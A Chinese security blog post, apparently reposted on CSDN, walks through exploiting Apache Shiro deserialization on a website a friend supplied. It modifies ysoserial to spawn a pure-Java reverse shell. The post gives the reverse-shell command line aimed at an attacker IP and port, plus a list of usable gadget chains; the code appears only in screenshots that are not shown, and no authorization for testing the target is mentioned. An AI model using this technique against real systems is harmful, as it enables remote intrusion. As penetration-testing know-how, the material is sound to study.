java调用shell脚本_记一次突破反弹shell

这是 酒仙桥六号部队 的第 106 篇文章。

全文共计1809个字,预计阅读时长6分钟。

背景

某天闲着无聊,小伙伴发来一个某网站,说只能执行命令,不能反弹shell。

b8a8d2dae455b7b4ac8e9c5e8f88b80b.png

测试

对着目标站点一顿测试。

9fe3db1b5ea580e5336c4b84845e1d42.png

67617b510df99f003fed174b1ee3c4e4.png

发现确实存在shiro反序列化,并且存在可以利用的gadget。

利用

955052955f9ac42f6a4d652dc4b52984.png

发现确实可以执行命令,但是我们执行反弹的时候。

76f96ed98c2623b642715ccf411a4513.png

反弹不回来,emmm。

查看各种系命令以及分析。

发现是一个精简的Linux,经常用于docker环境的搭建。

072090c49feac9191eac07c360636735.png

并没有bash环境。

f9ad405cff4643537015d8319c227dce.png

使用sh命令反弹结果一样,之后尝试了各种反弹的方法,一言难尽。

所以我们需要一种新的反弹方法,利用java直接创建一个socket反弹。

ysoserial

ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload。

源码下载地址:

https://codeload.github.com/frohoff/ysoserial/zip/master

在很多java类的反序列化攻击场景中会利用到该工具。

例如:apache shiro反序列化,会使用ysoserial生成反序列化语句,再使用key加密,发送攻击payload。

如下python脚本,就是利用ysoserial生成反序列化语句,再用key加密生成cookie。

f3111178521c9964af6a7bd75f31e59b.png

目的

各种各样的反弹shell注入bash、sh、perl、nc、python等等,都比较依赖目标系统的环境和操作系统类型等等,如果可以直接利用java创建一个socket反弹shell则可以无需关心这些环境直接反弹shell。

ysoserial分析

在执行ysoserial的时候一般使用的命令是java -cp ysoserial.jar  /某个payload/ /命令/

打开源码分析对应的payload类执行过程,如CommonsCollections2。

f40b577ef82c32ad081748e8cbc90124.png

在执行该类的时候,运行payloadrunner类的run方法,来执行本类的class文件,再加上接收的参数,跟入payloadrunner类。

6e4ca377e5d33d0f55756767465bee55.png

这里会调用payload中的getObject方法传入要执行的命令,命令是接收的输入或者是getDefaultTestCmd(),也就是说我们如果不输入命令,他会执行以下默认命令。

Windows:calcMacOS:calculatorLinux:gnome-calculator\kclac

如果输入了命令会执行自定义命令,接下来会执行getObject方法()来生成payload,跟入对应类的getObject方法。

b6d676bcdde60fef3ba3e1977828ce02.png

getObject方法中,调用Gadgets类中的createTemplatesImpl方法生成临时的java字节码文件,跟入对应的方法。

bf94da51f49f2ffe2654b2eaf22ca029.png

ysoserial改造

可以看到作者在命令获取处已经留下了注释。

待做:也可以做一些有趣的事情,比如注入一个纯JavaRev/BindShell来绕过幼稚的保护。

TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

一般情况我们在ysoserial后面写的命令调用的是java.lang.Runtime.getRuntime().exec()方法来执行命令,写死了,此处我们可以进行改造。

在原来的代码基础上写成:

77637b9cf8fdcd671849bac68e9c9acc.png

这样我们再重新打包ysoserial文件再执行命令时使用如下格式。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "rebound:ip port"

可以直接获得一个反弹shell。

生成payload利用

810f093efd8abbcf5f7cf423c2f5b2c0.png

2636a7b62ac7d8355bb2528bea7279a9.png

发送。

840cf353a9003d7dc9c20b7424469d11.png

Bingo,得到一个反弹shell。

ac2dede6e6a958ef3f92732eeab42942.png

ysoserial改造总结

由于不是所有的payload在构造时都调用了Gadgets.createTemplatesImpl,所以只有以下几种适用于以上修改。

CommonsBeanutils1CommonsCollections2CommonsCollections3CommonsCollections4Hibernate1JavassistWeld1JBossInterceptors1Jdk7u21JSON1ROMESpring1Spring2Vaadin1

此方法不依赖于目标操作系统和组件,可以直接利用java创建反弹shell。

b7dffe5c95292d2da09232622cd53290.png

7674736ae428d4c546290f8a43a6316c.png

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值